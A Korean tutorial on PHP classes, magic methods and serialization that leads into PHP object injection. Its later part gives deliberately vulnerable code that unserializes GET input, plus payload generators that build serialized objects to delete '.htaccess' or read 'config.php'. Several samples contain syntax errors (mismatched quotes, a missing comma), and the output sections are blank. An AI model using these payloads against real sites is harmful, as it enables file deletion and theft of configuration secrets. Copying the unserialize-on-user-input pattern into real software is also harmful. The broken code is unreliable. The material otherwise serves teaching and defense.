PHP Classes and Objects

아래 코드는 PHP의 Class와 Object의 개념을 위해 작성한 코드로써, 객체 생성 후 PrintVariable 메소드 호출을 통해 variable 변수에 담겨 있는 'This is a string'이라는 문자열을 출력 합니다. 아래 코드를 서버에서 실행 시킬 경우 예상했던대로 'This is a string' 문자열이 출력되는 것을 확인할 수 있습니다.

script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
 
class TestClass
{
    // A variable
     
    public $variable = 'This is a string';
     
    // A simple method
     
    public function PrintVariable()
    {
        echo $this->variable;
    }
}
 
// Create an object
 
$object = new TestClass();
 
// Call a method
 
$object->PrintVariable();
 
?>

output


PHP Magic Methods

다음 함수들은 __construct(), __destruct(), __call(), __callStatic(), __get(), __set(), __isset(), __unset(), __sleep(), __wakeup(), __toString(), __invoke(), __set_state(), __clone() and __debugInfo() PHP 클래스에서는 특별합니다. 이 함수들과 관련된 특별한 사용외에 클래스에서는 해당 함수명을 사용하지 않아야 합니다.

아래 코드에서 사용되는 __construct(), __destruct(), __toString() 의 사용 용도는 다음과 같습니다. 

  • __construct 메소드는 object가 만들어질 때 호출 됩니다. (constructor)
  • __destruct 메소드는 object가 사라질 때 호출 됩니다.(destructor)
  • __toString 메소드는 클래스가 문자열로 변환될때의 동작을 결정하도록 해줍니다.

script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<?php
 
class TestClass
{
    // A variable
     
    public $variable = 'This is a string';
     
    // A simple method
     
    public function PrintVariable()
    {
        echo $this->variable . '<br />';
    }
     
    // Constructor
     
    public function __construct()
    {
        echo '__construct <br />';
    }
     
    // Destructor
     
    public function __destruct()
    {
        echo '__destruct <br />';
    }
     
    // Call
     
    public function __toString()
    {
        return '__toString<br />';
    }
}
 
// Create an object
// Will call __construct
 
$object = new TestClass();
 
// Call a method
// Will print 'This is a string'
 
$object->PrintVariable();
 
// Object act as a string
// Will call __toString
 
echo $object;
 
// End of PHP script
// Will call __destruct 
 
?>


output


PHP Object Serialization

serialize() 는 PHP에 저장할수 있는 어떠한 값의 바이트스트림 표현을 포함한 문자열을 반환합니다. unserialize() 는 이 문자열을 원래의 변수값을 재생성하는데 사용할수 있습니다. serialize로 객체를 저장하는것은 객체안의 모든 변수들을 저장하는것을 의미합니다. 출력된 결과를 통해 알수 있듯이 class 변수와 user데이터인 John과 20이 serialize 됨을 확인할 수 있습니다. 

script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
 
// Simple class definition
 
class User
{
    // Class data
     
    public $age = 0;
    public $name = '';
     
    // Print data
     
    public function PrintData()
    {
        echo 'User ' . $this->name . ' is ' . $this->age
             . ' years old. <br />';
    }
}
 
// Create a user
 
$usr = new User();
 
// Set user data
 
$usr->age = 20;
$usr->name = 'John';
 
// Print data
 
$usr->PrintData();
 
// Serialize object and print output
 
echo serialize($usr);
 
?>


output


serialize된 object를 다시 사용하기 위해서는 unserialize()를 이용합니다.

script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
 
// Simple class definition
 
class User
{
    // Class data
     
    public $age = 0;
    public $name = '';
     
    // Print data
     
    public function PrintData()
    {
        echo 'User ' . $this->name . ' is ' . $this->age . ' years old. '<br />';
    }
}
 
// Create a user
 
$usr = unserialize('O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}');
 
// Print data
 
$usr->PrintData();
 
?>


output


Serialization magic functions

생성자(__construct),소멸자(__destruct)메소드는 객체 생성 및 소멸시 자동으로 호출 됩니다. 이와 같이 serialize, unserialze시 자동으로 호출되는 함수가 있는데 이 함수들은 다음과 같습니다.

  • __sleep 메소드는 객체가 serialize될 때 호출 됩니다.
  • __wakeup 메소드는 객체가 deserialize될 때 호출 됩니다.
script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?php
 
class Test
{
    public $variable = 'BUZZ';
    public $variable2 = 'OTHER';
     
    public function PrintVariable()
    {
        echo $this->variable . '<br />';
    }
     
    public function __construct()
    {
        echo '__construct<br />';
    }
     
    public function __destruct()
    {
        echo '__destruct<br />';
    }
     
    public function __wakeup()
    {
        echo '__wakeup<br />';
    }
     
    public function __sleep()
    {
        echo '__sleep<br />';
         
        return array('variable''variable2');
    }
}
 
// Create an object, will call __construct
 
$obj = new Test();
 
// Serialize object, will call __sleep
 
$serialized = serialize($obj);
 
// Print serialized string
 
print 'Serialized: ' . $serialized . <br />';
 
// Unserialize string, will call __wakeup
 
$obj2 = unserialize($serialized);
 
// Call PintVariable, will print data (BUZZ)
 
$obj2->PrintVariable();
 
// PHP script ends, will call __destruct for both objects($obj and $obj2)
 
?>


output


PHP Object Injection

지금껏 object serialization(객체 직렬화)과정에 대해서 실습 했습니다. 해당 취약점을 exploit하기 위해선 어플리케이션 흐름 및 사용가능한 class, magic function에 의존할 수 밖에 없습니다.

웹 어플리케이션의 소스코드 분석 시 __wakeup, __destruct 등 웹 어플리케이션에 영향을 미칠만한 class들이 정의 되어 있는것을 확인할 수 있습니다.

아래 예제 소스코드를 보면 log 파일을 임시로 저작하는 class가 존재 합니다. 해당 객체 소멸 시 더이상 log 파일이 필요 없기 때문에 삭제 합니다.

script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php 
 
class LogFile
{
    // Specify log filename
     
    public $filename = 'error.log';
     
    // Some code
     
    public function LogData($text)
    {
        echo 'Log some data: ' . $text . '<br />';
        file_put_contents($this->filename, $text, FILE_APPEND);
    }
     
    // Destructor that deletes the log file
     
    public function __destruct()
    {
        echo '__destruct deletes "' . $this->filename . '" file. <br />';
        unlink(dirname(__FILE__) . '/' . $this->filename);
    }
}
 
?>



다음에 나오는 코드는 사용 예제 입니다.

script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
 
include 'logfile.php';
 
// Create an object
 
$obj = new LogFile();
 
// Set filename and log data
 
$obj->filename = 'somefile.log';
$obj->LogData('Test');
 
// Destructor will be called and 'somefile.log' will be deleted
 
?>


또 다른 코드를 분석해보면 unserialize 함수에서 get 방식으로 사용자가 입력한 데이터를 unserialize하는 것을 알수 있습니다.

script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
 
// Simple class definition
 
class User
{
    // Class data
     
    public $age = 0;
    public $name = '';
     
    // Print data
     
    public function PrintData()
    {
        echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';
    }
}
 
$usr = unserialize($_GET['usr_serialized']);
 
$usr->PrintData();
 
?>

output

script

1
2
3
4
5
6
7
8
9
10
<?php
 
include 'script.php';
 
$obj = new LogFile();
$obj->filename = '.htaccess';
 
echo serialize($obj) . '<br />';
 
?>
cs

output



Common Injection potins

script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php 
 
// ... In some other included file ...
 
class FileClass
{
    // Filename variable
     
    public $filename = 'error.log';
     
    // Object used as a string displays the file contents
     
    public function __toString()
    {
        return file_get_contents($this->filename);
    }
}
 
// Main User class
 
class User
{
    // Class data
     
    public $age = 0;
    public $name = '';
     
    // Allow object to be used as a String
     
    public function __toString()
    {
        return 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';
    }
}
 
// Expected: a serialized User object 
 
$obj = unserialize($_GET['usr_serialized']);
 
// Will call __toString method of the unserialized object
 
echo $obj;
 
?>

output



script

1
2
3
4
5
6
7
8
9
10
<?php
 
include 'script.php';
$fileobj = new FileClass();
$fileobj->filename = 'config.php';
 
echo serialize($fileobj);
 
 
?>
cs

output






참고

[1] https://securitycafe.ro/2015/01/05/understanding-php-object-injection/

[2] http://php.net/manual/kr/language.oop5.magic.php

+ Recent posts